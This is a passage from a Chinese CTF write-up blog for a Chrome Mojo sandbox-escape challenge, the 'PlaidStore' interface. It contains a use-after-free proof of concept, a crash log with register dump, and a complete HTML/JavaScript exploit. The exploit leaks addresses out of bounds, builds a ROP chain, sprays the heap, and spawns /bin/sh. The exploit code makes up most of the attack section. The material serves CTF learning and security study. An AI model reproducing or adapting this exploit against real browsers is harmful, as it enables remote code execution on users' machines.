    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    <html>

    <head>
    <!-- 调用MojoJS接口时一定要将这些js包含入html中 -->
    <script src="mojo_js/mojo/public/js/mojo_bindings.js"></script>
    <script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
    <script>
    async function pwn() {
    var frame = document.createElement("iframe");
    frame.srcdoc = `
    <script src="mojo_js/mojo/public/js/mojo_bindings.js"><\/script>
    <script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
    <script>
    var plaidStorePtr = new blink.mojom.PlaidStorePtr();
    Mojo.bindInterface(
    blink.mojom.PlaidStore.name,
    mojo.makeRequest(plaidStorePtr).handle,
    "context",
    true);
    plaidStorePtr.storeData("aaaa", new Uint8Array(0x28).fill(0x30));

    window.plaidStorePtr = plaidStorePtr;
    console.log("iframe loaded");
    <\/script>
    `;
    document.body.appendChild(frame);
    // 在frame加载完成后再异步执行其中的代码
    frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
    var childPlaidStorePtr = frame.contentWindow.plaidStorePtr;
    if(childPlaidStorePtr == undefined || childPlaidStorePtr == 0)
    throw "Error in iframe loading";
    console.log("parent iframe start working")
    // 预先分配0xc28
    var buf = new ArrayBuffer(0xc28);
    // 将原先buffer转为int64位的数组(内存地址不变
    var uaf_buf = new BigUint64Array(buf);
    // 将对应vtable entry的前8个字节设置为0xdeadbeef(随便设置的易于区分的值)
    // 这样当crash时,$rax一定等于0xdeadbeef。
    uaf_buf[0] = BigInt(0xdeadbeef);
    // 在parent iframe中建立PlaidStoreImpl实例
    var parentPlaidStorePtr = new blink.mojom.PlaidStorePtr();
    Mojo.bindInterface(
    blink.mojom.PlaidStore.name,
    mojo.makeRequest(parentPlaidStorePtr).handle,
    "context",
    true);
    // 释放child iframe
    document.body.removeChild(frame);
    frame.remove();
    // 大量分配内存,用于占位。
    for (let i = 0; i < 100; i++)
    // 需要注意这里的storeData的索引要变化,不然每次填充数据都只会在一块内存区域上反复填充。
    parentPlaidStorePtr.storeData("1" + i, new Uint8Array(buf));
    console.log("try to uaf crash");
    // 尝试利用UAF漏洞来Crash
    childPlaidStorePtr.getData("aaaa", 0x28);
    });
    }
    </script>
    </head>

    <body onload=pwn()></body>

    </html>

    不过需要注意的是,在该POC中并没有child iframe的Mojo管道一端传递给parent iframe 的操作。因为通过调试可知,child iframe在remove后,其所对应的PlaidStoreImpl实例仍然存在,并没有随着Mojo pipe的关闭而被析构。

    尚未明确具体原因,但这种情况却简化了漏洞利用的方式。

    如下图所示,chrome成功在调用RenderFrameHostImpl::IsRenderFrameLive时Crash,并且$eax为目的值0xdeadbeef

    执行输出的log如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    # Kiprey @ Kipwn in /usr/class/CTFs/mojo [14:34:16] C:1
    $ ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/test.html

    DevTools listening on ws://127.0.0.1:1338/devtools/browser/2aaa5e8e-c088-4b7a-ab69-5dfbace58413
    127.0.0.1 - - [09/Oct/2020 14:36:39] "GET /test.html HTTP/1.1" 200 -
    [1009/143639.113334:INFO:CONSOLE(14)] "iframe loaded", source: about:srcdoc (14)
    [1009/143639.114060:INFO:CONSOLE(32)] "parent iframe start working", source: http://localhost:8000/test.html (32)
    [1009/143639.168655:INFO:CONSOLE(54)] "try to uaf crash", source: http://localhost:8000/test.html (54)
    Received signal 11 SEGV_MAPERR 0000deadc04f
    #0 0x559d6e9c1579 base::debug::CollectStackTrace()
    #1 0x559d6e9256f3 base::debug::StackTrace::StackTrace()
    #2 0x559d6e9c1120 base::debug::(anonymous namespace)::StackDumpSignalHandler()
    #3 0x7f62fcda4520 (/usr/lib/x86_64-linux-gnu/libpthread-2.29.so+0x1351f)
    #4 0x559d6cf2e2d4 content::PlaidStoreImpl::GetData()
    #5 0x559d6c901e3a blink::mojom::PlaidStoreStubDispatch::AcceptWithResponder()
    #6 0x559d6cf2e9c6 blink::mojom::PlaidStoreStub<>::AcceptWithResponder()
    #7 0x559d6eaf5878 mojo::InterfaceEndpointClient::HandleValidatedMessage()
    #8 0x559d6eafbcf1 mojo::internal::MultiplexRouter::ProcessIncomingMessage()
    #9 0x559d6eafb4de mojo::internal::MultiplexRouter::Accept()
    #10 0x559d6eaf2e9c mojo::Connector::DispatchMessage()
    #11 0x559d6eaf3941 mojo::Connector::ReadAllAvailableMessages()
    #12 0x559d6eb0bd48 mojo::SimpleWatcher::OnHandleReady()
    #13 0x559d6e96dbeb base::TaskAnnotator::RunTask()
    #14 0x559d6e97e47e base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl()
    #15 0x559d6e97e211 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoSomeWork()
    #16 0x559d6e93b817 base::(anonymous namespace)::WorkSourceDispatch()
    #17 0x7f62fc08af1d g_main_context_dispatch
    #18 0x7f62fc08b1a0 (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.6200.4+0x5019f)
    #19 0x7f62fc08b22f g_main_context_iteration
    #20 0x559d6e93b672 base::MessagePumpGlib::Run()
    #21 0x559d6e97ecf9 base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run()
    #22 0x559d6e956942 base::RunLoop::Run()
    #23 0x559d6cca71f4 content::BrowserMainLoop::RunMainMessageLoopParts()
    #24 0x559d6cca90a2 content::BrowserMainRunnerImpl::Run()
    #25 0x559d731c5f78 headless::HeadlessContentMainDelegate::RunProcess()
    #26 0x559d6e50e306 content::ContentMainRunnerImpl::RunServiceManager()
    #27 0x559d6e50dff7 content::ContentMainRunnerImpl::Run()
    #28 0x559d6e55c8d3 service_manager::Main()
    #29 0x559d6e50c351 content::ContentMain()
    #30 0x559d6e55b49d headless::(anonymous namespace)::RunContentMain()
    #31 0x559d6e55b19b headless::HeadlessShellMain()
    #32 0x559d6bfcdc27 ChromeMain
    #33 0x7f62faaf9bbb __libc_start_main
    #34 0x559d6bfcda6a _start
    r8: 000030791a93d600 r9: 00007ffeb987a3b8 r10: 0000000000000000 r11: 0000000000000000
    r12: 0000000000000028 r13: 0000000000000028 r14: 00007ffeb9879de0 r15: 00007ffeb9879dd0
    di: 000030791a9c5100 si: 00007ffeb9879de0 bp: 00007ffeb9879d60 bx: 000030791aa58ba0
    dx: 0000000000000028 ax: 00000000deadbeef cx: 00007ffeb9879dd0 sp: 00007ffeb9879d10
    ip: 0000559d6cf2e2d4 efl: 0000000000010202 cgf: 002b000000000033 erf: 0000000000000004
    trp: 000000000000000e msk: 0000000000000000 cr2: 00000000deadc04f
    [end of stack trace]
    Calling _exit(1). Core file will not be generated.

6. exploit

综上所述,整体利用流程是这样的:

  • 先创建一个child iframe,利用OOB泄露该child iframe所对应的PlaidStoreImpl::render_frame_host_指针地址chromeELF基地址。最后,将上面两个地址与任意一个PlaidStoreImpl实例地址一并返回给parent iframe

    注意,此时最好不要马上释放child iframe。暂时先保留render_frame_host_的内存区域,直到最后漏洞利用前再释放,以减小目标内存区域被其他代码所分配的风险

  • 利用child iframe泄露出的ELF基地址,进一步确认各种gadgets的地址。

  • 利用JS代码,先精心构造一块特定的gadgets利用数据。

  • child iframe持有的Mojo管道remote端移交至parent iframe

    先前的UAF Poc中尽管省略了该操作,但poc仍然可以利用成功,因此该操作在利用过程中不是必须的。

  • 释放child iframe多次执行parent iframePlaidStoreImpl::StoreData函数,将gadgets利用数据写入内存中。

  • 执行child iframePlaidStoreImpl::GetData函数

  • 成功获取shell

所以,综合上面的漏洞POC,我们最终的exp如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
<html>

<head>
<!-- 调用MojoJS接口时一定要将这些js包含入html中 -->
<script src="mojo_js/mojo/public/js/mojo_bindings.js"></script>
<script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
function success(msg) {
console.log('[+] ' + msg);
/*
注意这里最好不要直接修改document.body.innerText
因为修改document.body.innerText将会删除当前body上的所有节点,
包括appendChild上去的child iframe
*/
var elem = document.getElementById("#parentLog");
if(elem == undefined)
{
elem = document.createElement("div");
document.body.appendChild(elem);
}
elem.innerText += '[+] ' + msg + '\n';
}
function dec2hex(dec) {
return "0x" + dec.toString(16);
}
async function pwn() {
success("try append child iframe");
var frame = document.createElement("iframe");
frame.srcdoc = `
<script src="mojo_js/mojo/public/js/mojo_bindings.js"><\/script>
<script src="mojo_js/third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
<script>
function dec2hex(dec) {
return "0x" + dec.toString(16);
}
function bytes2DWORD(bytes) {
var value = 0;
for (let i = 0; i < 8; i++) {
value = value * 0x100 + bytes[7 - i];
}
return value;
}
function success(msg) {
console.log('[+] ' + msg);
var elem = document.getElementById("#childLog");
if(elem == undefined)
{
elem = document.createElement("div");
document.body.appendChild(elem);
}
document.body.innerText += '[+] ' + msg + '\\n';
}
async function pwn() {
var try_size = 100;
var plaidStorePtrList = [];
for (let i = 0; i < try_size; i++) {
var plaidStorePtr = new blink.mojom.PlaidStorePtr();
// 将plaidStore实例与mojo pipe绑定
Mojo.bindInterface(
blink.mojom.PlaidStore.name,
mojo.makeRequest(plaidStorePtr).handle,
"context",
true);
await plaidStorePtr.storeData("aaaa", new Uint8Array(0x28).fill(0x30 + i));
plaidStorePtrList.push(plaidStorePtr);
}
var PlaidStore_vtable_addr = 0;
var render_frame_host_addr = 0;
for (let i = 0; i < try_size; i++) {
// 注意这里使用await,保证异步操作。因为promise回调是同步的。
// 获取返回的promiseValue
let res = await plaidStorePtrList[i].getData("aaaa", 0x100);
let data = res.data;
for (let j = 0x28; j < 0x100 - 0x8; j += 0x8) {
// 尽管返回的是string,但仍然可以直接当作十六进制数字来使用。
var hex = bytes2DWORD(data.slice(j, j + 0x8));
if ((hex & 0xfff) == 0x7a0) {
PlaidStore_vtable_addr = dec2hex(hex);
render_frame_host_addr = dec2hex(bytes2DWORD(data.slice(j + 0x8, j + 0x10)));
success("PlaidStore vtable: " + PlaidStore_vtable_addr);
success("render_frame_host: " + render_frame_host_addr);
break;
}
}
if (PlaidStore_vtable_addr != 0)
break;
}
if (PlaidStore_vtable_addr == 0)
throw "PlaidStore vtable addr leak failed!";

var chromeTextBase = PlaidStore_vtable_addr - 0x9fb67a0;
success("chrome Text Base: " + dec2hex(chromeTextBase));

window.plaidStorePtr = plaidStorePtrList[0];
window.chromeTextBase = chromeTextBase;
window.render_frame_host_addr = render_frame_host_addr;
success("iframe loaded");
}
<\/script>
`;
document.body.appendChild(frame);
// 在frame加载完成后再异步执行其中的代码
frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
success("parent iframe start working")
// 等待frame中的js代码执行完成
await frame.contentWindow.pwn();
var childPlaidStorePtr = frame.contentWindow.plaidStorePtr;
var childRenderFrameHost = parseInt(frame.contentWindow.render_frame_host_addr);
var chromeTextBase = parseInt(frame.contentWindow.chromeTextBase);
// 这里只要判断一个变量就知道iframe是否成功加载
if (childPlaidStorePtr == undefined || childPlaidStorePtr == 0)
throw "Error in iframe loading";
// 获取各种gadget地址
var xchg_addr = chromeTextBase + 0x000000000880dee8;
success("xchg_addr: " + dec2hex(xchg_addr));
var pop_rdi_ret = chromeTextBase + 0x0000000002e4630f;
success("pop_rdi_ret: " + dec2hex(pop_rdi_ret));
var pop_rsi_ret = chromeTextBase + 0x0000000002d278d2;
success("pop_rsi_ret: " + dec2hex(pop_rsi_ret));
var pop_rdx_ret = chromeTextBase + 0x0000000002e9998e;
success("pop_rdx_ret: " + dec2hex(pop_rdx_ret));
var pop_rax_ret = chromeTextBase + 0x0000000002e651dd;
success("pop_rax_ret: " + dec2hex(pop_rax_ret));
var syscall_addr = chromeTextBase + 0x0000000002ef528d;
success("syscall_addr: " + dec2hex(syscall_addr));
// 预先分配0xc28
var buf = new ArrayBuffer(0xc28);
// 将原先buffer转为int64位的数组(内存地址不变
var uaf_buf = new BigUint64Array(buf);
/* 开始布置gadgets
先将对应vtable entry的前8个字节设置为childRenderFrameHost+0x10
这样当crash时,$rax一定等于该值。 */
uaf_buf[0] = BigInt(childRenderFrameHost + 0x10);
uaf_buf[3] = BigInt(pop_rdi_ret);
uaf_buf[4] = BigInt(childRenderFrameHost + 0x10 + 0x160 + 0x8);
uaf_buf[5] = BigInt(pop_rsi_ret);
uaf_buf[6] = BigInt(0);
uaf_buf[7] = BigInt(pop_rdx_ret);
uaf_buf[8] = BigInt(0);
uaf_buf[9] = BigInt(pop_rax_ret);
uaf_buf[10] = BigInt(59);
uaf_buf[11] = BigInt(syscall_addr);
uaf_buf[(0x160 + 0x10) / 0x8] = BigInt(xchg_addr);
var uaf_uint8 = new Uint8Array(buf); // /bin/sh\x00
uaf_uint8[0x10 + 0x160 + 8 + 0] = 0x2f;
uaf_uint8[0x10 + 0x160 + 8 + 1] = 0x62;
uaf_uint8[0x10 + 0x160 + 8 + 2] = 0x69;
uaf_uint8[0x10 + 0x160 + 8 + 3] = 0x6e;
uaf_uint8[0x10 + 0x160 + 8 + 4] = 0x2f;
uaf_uint8[0x10 + 0x160 + 8 + 5] = 0x73;
uaf_uint8[0x10 + 0x160 + 8 + 6] = 0x68;
uaf_uint8[0x10 + 0x160 + 8 + 7] = 0x00;

// 在parent iframe中建立PlaidStoreImpl实例
var parentPlaidStorePtr = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(
blink.mojom.PlaidStore.name,
mojo.makeRequest(parentPlaidStorePtr).handle,
"context",
true);
// 释放child iframe
document.body.removeChild(frame);
frame.remove();
// 大量分配内存,用于占位。
for (let i = 0; i < 100; i++)
// 需要注意这里的storeData的索引要变化,不然每次填充数据都只会在一块内存区域上反复填充。
parentPlaidStorePtr.storeData("1" + i, new Uint8Array(buf));
// 尝试利用UAF漏洞来触发
success("get shell!");
childPlaidStorePtr.getData("aaaa", 0x28);
});
}
</script>
</head>

<body onload=pwn()></body>

</html>

执行并利用成功

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2021 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯奶茶吧~